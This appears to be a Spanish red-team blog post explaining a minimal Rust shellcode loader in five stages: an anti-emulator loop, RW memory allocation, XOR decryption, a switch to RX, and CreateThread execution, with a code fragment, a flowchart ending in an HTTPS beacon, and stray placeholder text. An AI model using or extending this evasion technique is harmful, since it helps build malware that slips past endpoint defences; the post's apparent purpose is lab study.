2026-06-28 @pequepadawans redteam malware loader rust

Anatomía de un loader — self-injection paso a paso

Anatomía de un loader

Solo en lab

Todo lo descrito aquí se ejecuta únicamente en VMs aisladas con Elastic en modo monitor. Nunca en producción.

Un loader mínimo tiene cinco etapas. Cada una resuelve un problema de evasión distinto.

Etapa 0 — Burn (anti-emulator)

Los emuladores sandboxes detectan loops cortos. La solución: burn_emulator() mezcla cuatro u64 durante 32k × 256 iteraciones con core::ptr::read_volatile para evitar dead-code elimination.

Etapa 1 — Alloc RW

VirtualAlloc(NULL, len, MEM_COMMIT|MEM_RESERVE, PAGE_READWRITE). Reserva memoria con permisos de escritura.

Etapa 2 — Decrypt

El shellcode viene cifrado con XOR 0xAB en shellcode.enc. Se copia byte a byte aplicando la key.

!Cut point

En debug build, el halt ocurre antes de CreateThread. No hay beacon activo.

Etapa 3 — Protect RX

VirtualProtect(mem, len, PAGE_EXECUTE_READ, &old). Cambia RW → RX.

Etapa 4 — Execute

CreateThread(NULL, 0, mem, NULL, 0, NULL) corre el shellcode en un hilo nuevo.

let h = CreateThread(
    std::ptr::null_mut(),
    0,
    Some(std::mem::transmute(mem)),
    std::ptr::null_mut(),
    0,
    std::ptr::null_mut(),
);
WaitForSingleObject(h, 0xFFFFFFFF);

Diagrama

flowchart TD
    A[WinMain] --> B[burn_emulator]
    B --> C[VirtualAlloc RW]
    C --> D[XOR decrypt]
    D --> E[VirtualProtect RX]
    E --> F{--debug?}
    F -->|yes| G[halt: ExitProcess 0]
    F -->|no| H[CreateThread]
    H --> I[Beacon HTTPS 443]
    H --> J[ExitProcess 0]
Output esperado
[loader] burn: ok
[loader] alloc: ok
[loader] decrypt: ok
[loader] protect: ok

Lorem ipsum dolor sit amet, consectetur adipiscing elit. La cadena completa mide ~80KB y queda en target/release/update.exe.